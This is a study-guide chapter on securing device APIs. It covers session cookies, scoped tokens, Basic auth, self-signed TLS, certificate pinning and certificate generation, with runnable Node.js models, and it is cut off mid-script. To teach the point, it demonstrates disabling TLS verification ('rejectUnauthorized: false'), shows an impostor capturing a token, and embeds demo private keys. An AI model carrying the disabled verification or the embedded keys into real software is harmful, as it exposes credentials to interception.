APIs & Devices NotesRohit’s interview study guide
Chapter 05

Security for Device APIs

Who may talk to the device and how it proves who they are: admin sessions and integration tokens with scopes, TLS when the device has no public name, a web UI served from an IP address, hardening against default passwords and guessing, least privilege with an audit trail, and signed updates.

6 topics
Parts marked Advanced are extra depth. Skip them on a first read or a quick revision.

#Authenticating admins and integrations

Added

A device API has two very different kinds of caller. People (an admin at a laptop, an installer with a tablet) log in through the web UI with a username and password, stay for twenty minutes and leave. Programs (a room-booking panel, a monitoring script, a partner's control system, the vendor's cloud management service) call the API around the clock, never type a password and should only be able to do the one job they were set up for. Most security bugs in device APIs come from treating the two the same: giving the monitoring script the admin password, or making the admin's browser carry a token that never expires.

The mental model is a building's front desk. Visitors sign in with ID and get a day badge (a session: short-lived, held by the browser, cancelled when they leave). Contractors get a key card programmed for specific doors (an API token with scopes: long-lived, issued by an admin, opens only what it says, and can be cancelled at the desk without changing anyone else's card). Nobody gets the master key, and the desk keeps a list of every card it issued.

That maps onto four mechanisms you'll be asked to compare:

MechanismWho uses itWhat the client holdsRevocationNotes for devices
Session cookiepeople in the web UIa random session id in an HttpOnly; Secure; SameSite cookiedelete the session on the deviceneeds CSRF protection (see Securing the on-device web UI); idle and absolute timeouts
API token with scopesscripts, partners, cloud servicesan opaque random token, shown oncedelete the token recordstored on the device as a hash; scopes limit the damage if it leaks
HTTP Basic / Digestlegacy tools, curlthe password itself (Basic) or a hash-based response (Digest)change the passwordBasic is only acceptable inside TLS; Digest doesn't replace TLS
JWT (signed, self-contained)multi-service back endsa signed token the server doesn't need to look uphard: valid until exprarely worth it on one device, which can look its own sessions up for free

The last row is the one interviewers poke at. JWTs earn their keep when many stateless servers must check a token without sharing a database (see Sessions vs JWTs on the Node site). A device is one server with its own state: looking up a session or a token hash in local memory costs nothing, and opaque credentials can be revoked instantly. A JWT on a device mostly adds a signing key to protect and a revocation problem to solve. The exception is a token issued by someone else, for example the management cloud signing short-lived tokens that every device in the fleet can verify offline; then a signed token is exactly right.

Poly's public REST reference shows the session pattern on a real device. In the Poly VideoOS REST API Reference Guide (for VideoOS 4.4.0, last updated August 2025), a client sends POST /rest/session with { "user", "password" }, gets back a session object (sessionId, role: "ADMIN", clientType, the client's address) plus a loginStatus with failedLogins and a loginResult such as "NOLOCKOUT", and a failed login returns 403. The guide says administrator credentials are required before any REST command, that the REST API "is never disabled", and every command it lists has the access level Admin. It doesn't describe scoped tokens; that's the general pattern below, not a description of Poly's product.

Here's a device API with both kinds of caller: an admin who logs in and gets a session cookie, and a monitoring integration that gets a token allowed to read status and nothing else.

device-auth.mjs
import express from "express";
import { scryptSync, randomBytes, timingSafeEqual, createHash } from "node:crypto";

// The device stores a salted scrypt hash of the admin password, never the password itself.
const salt = randomBytes(16);
const admin = { user: "admin", salt, hash: scryptSync("plum-falcon-orbit-42", salt, 32) };
const sessions = new Map(); // session id -> { user, scopes, expires }
const tokens = new Map(); // token id -> { name, scopes, hash }
const ALL_SCOPES = ["status:read", "settings:read", "settings:write", "tokens:manage"];
const sha256 = (s) => createHash("sha256").update(s).digest();

const app = express();
app.use(express.json());

app.post("/api/session", (req, res) => {
  const { user, password } = req.body ?? {};
  const ok = user === admin.user && timingSafeEqual(scryptSync(String(password), admin.salt, 32), admin.hash);
  if (!ok) return res.status(401).json({ error: "invalid_credentials" });
  const id = randomBytes(32).toString("base64url");
  sessions.set(id, { user, scopes: ALL_SCOPES, expires: Date.now() + 15 * 60_000 });
  res.set("Set-Cookie", `sid=${id}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900`).status(204).end();
});

app.use((req, res, next) => {
  const sid = /(?:^|;\s*)sid=([^;]+)/.exec(req.get("cookie") ?? "")?.[1];
  const s = sid && sessions.get(sid);
  if (s && s.expires > Date.now()) return (req.who = { kind: "session", ...s }), next();
  const m = /^Bearer (dak_([0-9a-f]{8})_[\w-]{43})$/.exec(req.get("authorization") ?? "");
  const t = m && tokens.get(m[2]);
  if (t && timingSafeEqual(sha256(m[1]), t.hash)) return (req.who = { kind: "token", ...t }), next();
  res.set("WWW-Authenticate", m ? 'Bearer realm="device", error="invalid_token"' : 'Bearer realm="device"');
  res.status(401).json({ error: "unauthenticated" });
});
const need = (scope) => (req, res, next) =>
  req.who.scopes.includes(scope)
    ? next()
    : res.set("WWW-Authenticate", `Bearer realm="device", error="insufficient_scope", scope="${scope}"`)
        .status(403).json({ error: "insufficient_scope", need: scope });

const settings = { roomName: "Huddle 4B", autoAnswer: false };
app.get("/api/status", need("status:read"), (req, res) => res.json({ inCall: false, by: req.who.kind }));
app.get("/api/settings", need("settings:read"), (req, res) => res.json(settings));
app.patch("/api/settings", need("settings:write"), (req, res) => res.json(Object.assign(settings, req.body)));
app.post("/api/tokens", need("tokens:manage"), (req, res) => {
  const { name, scopes = [] } = req.body ?? {};
  if (req.who.kind !== "session") return res.status(403).json({ error: "session_required" });
  if (!scopes.every((s) => ALL_SCOPES.includes(s) && s !== "tokens:manage")) return res.status(422).json({ error: "bad_scopes" });
  const id = randomBytes(4).toString("hex");
  const token = `dak_${id}_${randomBytes(32).toString("base64url")}`; // shown once, stored only as a hash
  tokens.set(id, { name, scopes, hash: sha256(token) });
  res.status(201).json({ id, token, scopes });
});
app.delete("/api/tokens/:id", need("tokens:manage"), (req, res) => res.status(tokens.delete(req.params.id) ? 204 : 404).end());

const server = app.listen(0, "127.0.0.1");
await new Promise((r) => server.once("listening", r));
const base = `http://127.0.0.1:${server.address().port}`;
async function call(label, method, path, { body, cookie, token } = {}) {
  const headers = { "content-type": "application/json" };
  if (cookie) headers.cookie = cookie;
  if (token) headers.authorization = `Bearer ${token}`;
  const r = await fetch(base + path, { method, headers, body: body && JSON.stringify(body) });
  const text = await r.text();
  const extra = r.headers.get("www-authenticate") ?? (r.headers.get("set-cookie") ?? "").replace(/sid=[^;]+/, "sid=<random>");
  console.log(`${label.padEnd(22)} ${method.padEnd(6)} ${path.replace(/[0-9a-f]{8}$/, "{id}").padEnd(16)} → ${r.status} ${text.replace(/dak_\w{8}_[\w-]{43}/, "dak_…").replace(/"id":"\w+"/, '"id":"…"')}`);
  if (extra) console.log(`${"".padEnd(48)}${extra}`);
  return { r, text };
}

await call("no credentials", "GET", "/api/status");
await call("wrong password", "POST", "/api/session", { body: { user: "admin", password: "admin" } });
const login = await call("admin logs in", "POST", "/api/session", { body: { user: "admin", password: "plum-falcon-orbit-42" } });
const cookie = login.r.headers.get("set-cookie").split(";")[0];
await call("admin (cookie)", "PATCH", "/api/settings", { cookie, body: { autoAnswer: true } });
const made = JSON.parse((await call("admin mints a token", "POST", "/api/tokens", { cookie, body: { name: "room-monitor", scopes: ["status:read"] } })).text);
await call("monitor (token)", "GET", "/api/status", { token: made.token });
await call("monitor (token)", "PATCH", "/api/settings", { token: made.token, body: { autoAnswer: false } });
await call("admin revokes it", "DELETE", `/api/tokens/${made.id}`, { cookie });
await call("monitor (revoked)", "GET", "/api/status", { token: made.token });
server.close();
Result
no credentials         GET    /api/status      → 401 {"error":"unauthenticated"}
                                                Bearer realm="device"
wrong password         POST   /api/session     → 401 {"error":"invalid_credentials"}
admin logs in          POST   /api/session     → 204
                                                sid=<random>; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
admin (cookie)         PATCH  /api/settings    → 200 {"roomName":"Huddle 4B","autoAnswer":true}
admin mints a token    POST   /api/tokens      → 201 {"id":"…","token":"dak_…","scopes":["status:read"]}
monitor (token)        GET    /api/status      → 200 {"inCall":false,"by":"token"}
monitor (token)        PATCH  /api/settings    → 403 {"error":"insufficient_scope","need":"settings:write"}
                                                Bearer realm="device", error="insufficient_scope", scope="settings:write"
admin revokes it       DELETE /api/tokens/{id} → 204
monitor (revoked)      GET    /api/status      → 401 {"error":"unauthenticated"}
                                                Bearer realm="device", error="invalid_token"
What’s happening
  1. The device never stores the password. At start-up it keeps scryptSync(password, salt, 32), a deliberately slow, salted hash; POST /api/session hashes the submitted password the same way and compares with timingSafeEqual, so the comparison takes the same time whether the first byte or the last one differs. The wrong password "admin" gets 401 invalid_credentials. (Password hashing in depth: Hashing passwords with bcrypt.)
  2. The admin's login creates a session: 32 random bytes as the id, kept in the sessions map with an expiry 15 minutes out, and sent as sid=<random>; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900. HttpOnly keeps it away from page JavaScript, Secure keeps it off plain HTTP, SameSite=Strict stops the browser attaching it to requests started by other sites. With that cookie the PATCH /api/settings succeeds, because a session carries every scope.
  3. The admin mints a token for the monitoring script with scopes: ["status:read"]. The token dak_<8 hex id>_<43 random chars> is returned once; the device stores only its SHA-256 and the scopes. The id part lets the device find the record without scanning, and the prefix dak_ makes leaked tokens easy to spot in logs and code (secret scanners look for exactly such prefixes). A plain SHA-256 is fine here, unlike for passwords, because the token is 256 random bits: there's nothing to guess.
  4. The token can read status but not change settings. GET /api/status returns {"inCall":false,"by":"token"}. PATCH /api/settings gets 403 with WWW-Authenticate: Bearer realm="device", error="insufficient_scope", scope="settings:write", the error format RFC 6750 (OAuth 2.0 Bearer Token Usage) defines: the caller is authenticated, so 401 would be wrong, and the header tells an integrator which scope to ask for.
  5. Revocation is one delete. After DELETE /api/tokens/{id} the very next call with the same token gets 401 and error="invalid_token", while the admin's session and any other tokens carry on. Compare a shared admin password baked into five integrations: rotating it breaks all five at once, so in practice nobody rotates it.
  6. Two rules in POST /api/tokens are easy to miss: only a session can mint tokens (req.who.kind !== "session" gets 403), and no token can be granted tokens:manage (an unknown or forbidden scope gets 422). Without them, one leaked token could mint itself a more powerful one.
Advanced401 or 403, and what to reveal
AdvancedBasic and Digest authentication

Many device APIs still accept HTTP Basic, because every tool from curl to a 15-year-old control system speaks it. Basic (RFC 7617) sends user:password in Base64 on every request:

basic-is-encoding.mjs
// What a Basic auth header carries, and what anyone who sees it can do with it.
const header = "Basic " + Buffer.from("admin:plum-falcon-orbit-42").toString("base64");
console.log(header);
console.log(Buffer.from(header.slice(6), "base64").toString()); // no key needed: it's an encoding, not encryption
Result
Basic YWRtaW46cGx1bS1mYWxjb24tb3JiaXQtNDI=
admin:plum-falcon-orbit-42
What’s happening
  1. Buffer.from("admin:plum-falcon-orbit-42").toString("base64") produces YWRtaW46cGx1bS1mYWxjb24tb3JiaXQtNDI=, and that's the whole header after Basic .
  2. Decoding it needs no key at all: the second line prints the password. Base64 is an encoding (a way to fit bytes into a header), not encryption.
  3. So Basic over plain HTTP hands the admin password to anyone on the same network segment, on every request, not just at login. Over TLS it's acceptable, with two remaining costs: the password itself (not a revocable token) sits in every script that calls the device, and browsers cache Basic credentials and send them automatically, which makes them ambient credentials that need CSRF protection just like cookies.
  4. Digest (RFC 7616) sends a hash of the password with a server nonce instead of the password, but it doesn't encrypt the request or response, older clients only do MD5, and the device must keep something password-equivalent to check it. It's a legacy compatibility option, not a substitute for TLS.
AdvancedDesigning API tokens for a device
  • Opaque, random, prefixed. At least 128 bits of randomness (the model uses 256), a recognisable prefix (dak_) so leaks are found by secret scanners, and a short public id so the device can look the record up.
  • Stored as a hash, shown once. If someone copies the device's config database, they get hashes, not working tokens. The UI shows the full token only at creation; after that it shows the name, scopes, creation time, last use and the id.
  • Scoped to a job. Name scopes after what integrations do, not after endpoints: status:read, calls:control, settings:read, settings:write, firmware:update. A room panel needs calls:control and status:read; a monitoring tool needs status:read; only an admin session needs tokens:manage.
  • Expiring and revocable. Let the admin pick an expiry (90 days, a year, never with a warning) and revoke any token by id. Record lastUsedAt and the source address so the UI can show "this token hasn't been used in 200 days".
  • Bound to the device. A token minted on one device is useless on another; that limits a leak to one room, unlike a fleet-wide shared password.
  • Never in URLs. Tokens go in the Authorization header. Query strings end up in proxy logs, browser history and Referer headers.
  • Audited. Creating, using for a privileged action, and revoking a token are all audit events (see Least privilege and audit logs).
AdvancedWhere the admin's account comes from
  • Local accounts live on the device (the model's admin). They must work with no network services at all, because the person fixing a broken network needs to log in. Keep at least one local admin even when you add directory login.
  • Directory accounts (LDAP or Active Directory) let IT use their normal accounts and groups. Poly's Video Mode Administrator Guide 4.7.0 (HP, last updated July 2025) describes this: the device is pointed at an AD server, one AD group maps to admin access and one to user access, and the system "can map only one Active Directory group to a given role". The same guide notes that the local user account is disabled when external authentication is on, while the local admin account stays usable: the break-glass account.
  • Management-cloud identity. When a fleet service manages the device, the service authenticates to the device with its own credential (a client certificate or a provisioned token), and people authenticate to the service with SSO and MFA. The device then only needs to trust one well-protected caller instead of hundreds of admins.
  • Separate passwords per channel are a reasonable hardening step: the same Poly guide has a Room Password for the local touch interface and an optional separate Remote Access Password for the web interface and command-line API (SSH or Telnet), with "Use Room Password for Remote Access" enabled by default.
AdvancedSessions on a device: timeouts and limits

A device has a few hundred kilobytes of memory to spare for sessions and one admin who forgets to log out. Three limits keep sessions safe and cheap:

  • Idle timeout (no requests for N minutes ends the session) and absolute timeout (a session ends after N hours regardless). Poly's admin guide exposes both under Security > Access as "Idle Session Timeout in Minutes" and "Max Session Timeout in Minutes".
  • A cap on concurrent sessions ("Maximum Number of Active Sessions" in the same guide), so a script that logs in on every call can't exhaust memory. Return 429 or 503 with a clear error when the cap is reached, and make scripts use tokens instead of logging in repeatedly.
  • Rotate the session id at login and on privilege change, and delete the session on logout and when the password changes. A session created before a password change shouldn't survive it.
Which status code, and why?

A monitoring token with scopes ["status:read"] calls POST /api/system/reboot, which needs system:control. Later, an admin revokes that token and the script calls GET /api/status again. What does the device return each time, and what should the WWW-Authenticate header say?

Show answer

First call: 403 Forbidden with WWW-Authenticate: Bearer realm="device", error="insufficient_scope", scope="system:control". Second call: 401 Unauthorized with WWW-Authenticate: Bearer realm="device", error="invalid_token".

What’s happening
  1. On the first call the token is genuine and current: the device knows exactly which integration is calling. Authentication succeeded, authorisation failed, so it's 403, not 401.
  2. RFC 6750 defines insufficient_scope for this case, and the optional scope attribute tells the integrator what to request. Re-sending the same token won't help, so a well-behaved client stops and reports it.
  3. After revocation, the device can't find a matching token hash: the caller is no longer authenticated, so it's 401. error="invalid_token" (also RFC 6750) says the token is expired, revoked or malformed, which tells the client to get a new one rather than retry.
  4. In the model above you can see both: PATCH /api/settings with the monitor token gives the 403 line, and the revoked token gives the 401 line.

#TLS on devices

Added

TLS gives a connection three things: confidentiality (nobody on the network can read it), integrity (nobody can change it in flight) and server authentication (the client knows it's talking to the right machine). The first two work the moment you turn HTTPS on. The third is the hard part for devices, because it depends on a certificate that someone the client already trusts has vouched for, and a conference-room device at 192.168.1.50 has nobody to vouch for it. Public certificate authorities issue certificates for public domain names they can validate; since the end of a phase-out in 2016, the CA/Browser Forum's Baseline Requirements haven't allowed publicly trusted certificates for reserved (private) IP addresses or internal names. So a device out of the box can't present a certificate your browser trusts.

That's why devices ship with a self-signed certificate made for that unit. Poly's Video Mode Administrator Guide 4.7.0 says it plainly: in an environment without PKI "the system comes with a self-signed certificate for its TLS connections", and to browse to the web interface over a trusted connection you create a certificate signing request and install a CA-signed chain "to replace its factory-installed certificate, which isn't trusted".

The mental model is an ID card you printed yourself. It proves nothing about who you are the first time someone sees it. But if they write down its number and see the same card next week, they know it's the same person. That's trust on first use (TOFU), and it's exactly what SSH does with host keys. A CA-signed certificate is a passport: an authority everyone already trusts vouches for it, so strangers accept it on sight. Device security comes down to choosing which of these a client relies on, and never accepting a card without looking at it.

ApproachHow the client decides to trustStops a LAN impostor?Breaks when
Ignore certificate errors (rejectUnauthorized: false, "proceed anyway")it doesn'tnonever visibly, which is the problem
Trust on first useremembers the certificate or key from the first connectionyes, after the first connectionthe device is factory-reset (new key), or the first connection was already intercepted
Pin shown out of bandcompares with a fingerprint read off the device screen, label or provisioning systemyes, from the first connectionsomeone skips the comparison
Organisation's CA (CSR)the certificate chains to a root the organisation installed on its laptopsyesthe certificate expires or the name dialled isn't in it
Public CA on a public DNS nameordinary browser trustyesthe device needs a public name and automated renewal
Ignore errors the anti-pattern device presents self-signed cert client accepts any certificate impostor accepted too token sent to it Trust on first use device makes key + cert at first boot first connect: client shows fingerprint admin compares with the device screen pin stored; other certs refused Organisation CA device makes key + certificate signing request org CA signs a cert for room-4b.corp device installs the chain; key never leaves it laptops trust the org root: no prompt In every lane the private key is made on the device and stays there.
Three ways a client can come to trust a device's certificate. Only the first is unsafe, and it's the one most scripts use.

Here's the whole story in one run: a device serving HTTPS with its self-signed certificate, the default client refusing it, the copy-pasted "fix" that accepts anything, and a client that pins the certificate after checking its fingerprint, then meets an impostor on the LAN.

pin-device-cert.mjs
import https from "node:https";
import tls from "node:tls";

// What the device shows the admin out of band: on its own screen, its label, or in the provisioning system.
const FINGERPRINT_ON_SCREEN = "C8:1D:F0:71:49:1E:FD:4C:DE:8C:17:52:6E:8E:78:31:72:B1:2B:7F:4B:7E:70:9F:DF:61:2E:BD:20:71:46:91";

function startServer({ key, cert }, name) {
  const seen = [];
  const server = https.createServer({ key, cert }, (req, res) => {
    seen.push(req.headers.authorization); // what reached this server
    res.end(JSON.stringify({ answeredBy: name }));
  });
  return new Promise((r) => server.listen(0, "127.0.0.1", () => r({ server, port: server.address().port, seen })));
}

function get(port, tlsOptions = {}) {
  return new Promise((resolve) => {
    const options = { host: "127.0.0.1", port, path: "/api/status", agent: false, ...tlsOptions };
    const req = https.get({ ...options, headers: { authorization: "Bearer dak_monitor_secret" } }, (res) => {
      let body = "";
      res.on("data", (c) => (body += c)).on("end", () => resolve(`${res.statusCode} ${body}`));
    });
    req.on("error", (e) => resolve(`refused (${e.code ?? e.message})`));
  });
}

// First contact: read the certificate without trusting it, and send nothing else on that connection.
const probe = (port) =>
  new Promise((resolve, reject) => {
    const s = tls.connect({ host: "127.0.0.1", port, rejectUnauthorized: false }, () => {
      const c = s.getPeerCertificate();
      s.end();
      const pem = `-----BEGIN CERTIFICATE-----\n${c.raw.toString("base64").match(/.{1,64}/g).join("\n")}\n-----END CERTIFICATE-----\n`;
      resolve({ fingerprint: c.fingerprint256, pem, why: s.authorizationError });
    });
    s.on("error", reject);
  });

// Trust exactly one certificate, and still check that the SAN covers the address we dialled.
const pinned = (pem, fingerprint) => ({
  ca: pem,
  checkServerIdentity(host, cert) {
    return tls.checkServerIdentity(host, cert) ?? (cert.fingerprint256 === fingerprint ? undefined : new Error("pin mismatch"));
  },
});

const device = await startServer(pems().device, "device");
console.log("1. default trust store:      ", await get(device.port));
console.log("2. rejectUnauthorized: false:", await get(device.port, { rejectUnauthorized: false }));
const first = await probe(device.port);
console.log("3. probe sees:                ", first.why, first.fingerprint.slice(0, 23) + "…");
console.log("   matches the device screen: ", first.fingerprint === FINGERPRINT_ON_SCREEN);
console.log("4. pinned client:            ", await get(device.port, pinned(first.pem, first.fingerprint)));

// Someone on the LAN answers for 192.168.1.50 with their own self-signed cert, same CN and SANs.
const impostor = await startServer(pems().impostor, "impostor");
console.log("5. rejectUnauthorized: false:", await get(impostor.port, { rejectUnauthorized: false }));
console.log("6. pinned client:            ", await get(impostor.port, pinned(first.pem, first.fingerprint)));
console.log("   tokens the impostor received:", impostor.seen);
device.server.close();
impostor.server.close();

// Generated with openssl (see below). Demo keys only: a real device keeps its key in protected storage.
function pems() {
  return {
    device: {
      key: `-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgfakvFEFpURTs942+
7I9Z5lESOcl9Z31UFUnGJ/RxyhqhRANCAAQP8Q8pay5W1lQNZI79MiFnAhmu1Kvm
hbBOiM8mvi6FK+CILTQZQn1XmXZ+8wkLc5J7F6eTSb66WF8ncHCMawH/
-----END PRIVATE KEY-----`,
      cert: `-----BEGIN CERTIFICATE-----
MIIBxDCCAWqgAwIBAgIUOyEOjTWxFPd8njF3BYP0vcJdvhQwCgYIKoZIzj0EAwIw
GDEWMBQGA1UEAwwNcm9vbS00Yi5sb2NhbDAgFw0yNjEwMjcxNzUxMzRaGA8yMTI2
MTAwMzE3NTEzNFowGDEWMBQGA1UEAwwNcm9vbS00Yi5sb2NhbDBZMBMGByqGSM49
AgEGCCqGSM49AwEHA0IABA/xDylrLlbWVA1kjv0yIWcCGa7Uq+aFsE6Izya+LoUr
4IgtNBlCfVeZdn7zCQtzknsXp5NJvrpYXydwcIxrAf+jgY8wgYwwHQYDVR0OBBYE
FM5Ykyd9XMjv8zPmvtFx62uLz+MQMB8GA1UdIwQYMBaAFM5Ykyd9XMjv8zPmvtFx
62uLz+MQMA8GA1UdEwEB/wQFMAMBAf8wJAYDVR0RBB0wG4INcm9vbS00Yi5sb2Nh
bIcEfwAAAYcEwKgBMjATBgNVHSUEDDAKBggrBgEFBQcDATAKBggqhkjOPQQDAgNI
ADBFAiAKNcyE6vNmZ+2U1f0GVh6NTA85RqAkBjaRQjOl5b97JAIhAKujXOqPUQ2Q
MW/d6m6lOEBSv6oguikacpmHWoL5K+yt
-----END CERTIFICATE-----`,
    },
    impostor: {
      key: `-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQg55ZXN+V/BtHfWzuo
2dj+cdf/lyGj3qDfqgufb6D8qQahRANCAAQtxVnqJEquIek2iB5T8NhKQwfj3RXV
Ys5OaiEM+kOAxNijsv1rt2W5QxzfIGWUN7iF8XdxFHhd0RGgwfBoQ4hf
-----END PRIVATE KEY-----`,
      cert: `-----BEGIN CERTIFICATE-----
MIIBxDCCAWqgAwIBAgIUIULPfqogvOpE+yNNCRSkgQTFoZAwCgYIKoZIzj0EAwIw
GDEWMBQGA1UEAwwNcm9vbS00Yi5sb2NhbDAgFw0yNjEwMjcxNzUyMTNaGA8yMTI2
MTAwMzE3NTIxM1owGDEWMBQGA1UEAwwNcm9vbS00Yi5sb2NhbDBZMBMGByqGSM49
AgEGCCqGSM49AwEHA0IABC3FWeokSq4h6TaIHlPw2EpDB+PdFdVizk5qIQz6Q4DE
2KOy/Wu3ZblDHN8gZZQ3uIXxd3EUeF3REaDB8GhDiF+jgY8wgYwwHQYDVR0OBBYE
FCULs/Is8v95Qgi9Sf6IjUoXOC53MB8GA1UdIwQYMBaAFCULs/Is8v95Qgi9Sf6I
jUoXOC53MA8GA1UdEwEB/wQFMAMBAf8wJAYDVR0RBB0wG4INcm9vbS00Yi5sb2Nh
bIcEfwAAAYcEwKgBMjATBgNVHSUEDDAKBggrBgEFBQcDATAKBggqhkjOPQQDAgNI
ADBFAiEAvj+FbVHObAse+k/YCP2xo9a7nN/5W9xBop7ZRldTmY4CIAUe/6V5ns4K
CRUtZPlphzaYqj2BslTWPrjaSR4inWSh
-----END CERTIFICATE-----`,
    },
  };
}
Result
1. default trust store:       refused (DEPTH_ZERO_SELF_SIGNED_CERT)
2. rejectUnauthorized: false: 200 {"answeredBy":"device"}
3. probe sees:                 DEPTH_ZERO_SELF_SIGNED_CERT C8:1D:F0:71:49:1E:FD:4C…
   matches the device screen:  true
4. pinned client:             200 {"answeredBy":"device"}
5. rejectUnauthorized: false: 200 {"answeredBy":"impostor"}
6. pinned client:             refused (DEPTH_ZERO_SELF_SIGNED_CERT)
   tokens the impostor received: [ 'Bearer dak_monitor_secret' ]
What’s happening
  1. The default client refuses the device: DEPTH_ZERO_SELF_SIGNED_CERT is OpenSSL's "the certificate at depth 0 (the server's own) signed itself, and I don't trust it". Node, browsers, curl and Android's HttpsURLConnection all behave like this by default, which is correct: nothing vouches for this certificate.
  2. rejectUnauthorized: false "fixes" it and gets 200 {"answeredBy":"device"}. That's the line scripts copy from forums. It turns off server authentication completely, which steps 5 and 6 make concrete.
  3. The probe connects with verification off, reads the certificate and sends nothing else: no Authorization header goes over that connection. authorizationError confirms why it isn't trusted, and fingerprint256 (SHA-256 of the certificate's DER bytes) is what the client shows the admin. The admin compares it with the value on the device's own screen or in the provisioning record (FINGERPRINT_ON_SCREEN); they match, so the client stores the PEM.
  4. The pinned client passes that one certificate as ca, so OpenSSL treats it as the only trusted anchor and does full verification against it, and its checkServerIdentity first runs Node's normal name check (is 127.0.0.1 in the certificate's subject alternative names?) and then compares the fingerprint. The result is 200 from the device, with verification on.
  5. An impostor on the LAN (ARP spoofing, a rogue access point, a DHCP trick) answers for the device with its own self-signed certificate carrying the same CN and SANs. The rejectUnauthorized: false client happily talks to it: 200 {"answeredBy":"impostor"}, and the last line shows the impostor now holds the monitoring token Bearer dak_monitor_secret.
  6. The pinned client refuses the impostor during the handshake with the same DEPTH_ZERO_SELF_SIGNED_CERT: the impostor's certificate isn't the one in ca. Because verification fails before any HTTP is sent, the impostor's list of received tokens contains only the one from step 5. That's the point of pinning: the secret never leaves the client unless the server proved it's the device.
AdvancedOne environment variable turns it all off
AdvancedWhere the certificates came from

The two certificates embedded in the model were made with OpenSSL 3.6.3 on the Mac that ran the model, one command each (the impostor's is the same command with different file names):

Shell
openssl req -x509 -newkey ec -pkeyopt ec_paramgen_curve:P-256 -nodes \
  -keyout device-key.pem -out device-cert.pem -days 36500 -subj "/CN=room-4b.local" \
  -addext "subjectAltName=DNS:room-4b.local,IP:127.0.0.1,IP:192.168.1.50" \
  -addext "extendedKeyUsage=serverAuth"
openssl x509 -in device-cert.pem -noout -subject -issuer -dates \
  -ext subjectAltName,extendedKeyUsage,basicConstraints -fingerprint -sha256
Output
subject=CN=room-4b.local
issuer=CN=room-4b.local
notBefore=Oct 27 17:51:34 2026 GMT
notAfter=Oct  3 17:51:34 2126 GMT
X509v3 Basic Constraints: critical
    CA:TRUE
X509v3 Subject Alternative Name: 
    DNS:room-4b.local, IP Address:127.0.0.1, IP Address:192.168.1.50
X509v3 Extended Key Usage: 
    TLS Web Server Authentication
sha256 Fingerprint=C8:1D:F0:71:49:1E:FD:4C:DE:8C:17:52:6E:8E:78:31:72:B1:2B:7F:4B:7E:70:9F:DF:61:2E:BD:20:71:46:91
What’s happening
  1. req -x509 -newkey ec -pkeyopt ec_paramgen_curve:P-256 makes a new P-256 key pair and a certificate signed by that same key in one go; -nodes leaves the key unencrypted on disk (fine for a demo, not for a device, which should keep it in hardware-backed storage such as Android Keystore or a secure element).
  2. The names a client checks are in the subject alternative name, not the CN: IP Address:192.168.1.50 is what lets a client that dialled that IP accept the certificate, and DNS:room-4b.local covers the mDNS name. A device whose IP changes with DHCP needs a new certificate (or a stable name) or clients will fail the name check even with a perfect pin. 127.0.0.1 is only there so the model can connect locally.
  3. issuer equals subject and OpenSSL 3 added CA:TRUE by default: that's what self-signed means; the certificate vouches for itself. The fingerprint on the last line is the value the model treats as "shown on the device screen".
  4. -days 36500 (a century) only keeps the page's model working for years. Public certificates are capped far lower, but a self-signed device certificate isn't bound by those rules; its practical lifetime is set by how you rotate it (next sections).
AdvancedCertificates in code, renewal and pins

Generating the certificate in code, and what renewal does to pins

A device can't shell out to openssl on every first boot in every product, and it's useful to see that a certificate is just a signed data structure. This model writes an X.509 v3 certificate with nothing but node:crypto (a small DER encoder, then sign("sha256", tbs, privateKey)), serves it, and then plays out the device's life: a client trusts it on first use, the device renews its certificate with the same key, and later it's factory-reset with a new key. The client keeps two pins: the certificate's fingerprint and the SHA-256 of its public key (SPKI).

tofu-rotation.mjs
import { generateKeyPairSync, sign, createHash, X509Certificate } from "node:crypto";
import https from "node:https";
import tls from "node:tls";

// A minimal DER encoder: just enough ASN.1 to write an X.509 v3 certificate.
const len = (n) => Buffer.from(n < 128 ? [n] : n < 256 ? [0x81, n] : [0x82, n >> 8, n & 255]);
const tlv = (tag, ...parts) => { const b = Buffer.concat(parts); return Buffer.concat([Buffer.from([tag]), len(b.length), b]); };
const seq = (...parts) => tlv(0x30, ...parts);
const int = (n) => tlv(0x02, Buffer.from([n]));
const oid = (s) => {
  const [a, b, ...rest] = s.split(".").map(Number);
  const out = [40 * a + b];
  for (const n of rest) { const enc = [n & 0x7f]; for (let v = n >> 7; v; v >>= 7) enc.unshift(0x80 | (v & 0x7f)); out.push(...enc); }
  return tlv(0x06, Buffer.from(out));
};
const time = (iso) => (iso < "2050" ? tlv(0x17, Buffer.from(iso.slice(2))) : tlv(0x18, Buffer.from(iso))); // UTCTime before 2050
const name = (cn) => seq(tlv(0x31, seq(oid("2.5.4.3"), tlv(0x0c, Buffer.from(cn)))));
const ECDSA_SHA256 = seq(oid("1.2.840.10045.4.3.2"));

function selfSignedCert({ keys, cn, ip, serial, from, to }) {
  const san = seq(oid("2.5.29.17"), tlv(0x04, seq(tlv(0x82, Buffer.from(cn)), tlv(0x87, Buffer.from(ip.split(".").map(Number))))));
  const eku = seq(oid("2.5.29.37"), tlv(0x04, seq(oid("1.3.6.1.5.5.7.3.1")))); // serverAuth
  const spki = keys.publicKey.export({ type: "spki", format: "der" });
  const tbs = seq(tlv(0xa0, int(2)), int(serial), ECDSA_SHA256, name(cn), seq(time(from), time(to)), name(cn), spki, tlv(0xa3, seq(san, eku)));
  const der = seq(tbs, ECDSA_SHA256, tlv(0x03, Buffer.from([0]), sign("sha256", tbs, keys.privateKey)));
  return `-----BEGIN CERTIFICATE-----\n${der.toString("base64").match(/.{1,64}/g).join("\n")}\n-----END CERTIFICATE-----\n`;
}

// First boot: the device makes its own key pair and certificate.
const keyA = generateKeyPairSync("ec", { namedCurve: "P-256" });
const certA1 = selfSignedCert({ keys: keyA, cn: "room-4b.local", ip: "127.0.0.1", serial: 1, from: "20261027000000Z", to: "20361027000000Z" });
const x = new X509Certificate(certA1);
console.log(x.subject, "|", x.subjectAltName, "| valid", x.validFrom, "→", x.validTo);
console.log("self-signed:", x.verify(x.publicKey), "| covers 127.0.0.1:", x.checkIP("127.0.0.1") === "127.0.0.1", "| CA:", x.ca);

const device = https.createServer({ key: keyA.privateKey.export({ type: "pkcs8", format: "pem" }), cert: certA1 }, (req, res) => res.end("ok"));
await new Promise((r) => device.listen(0, "127.0.0.1", r));
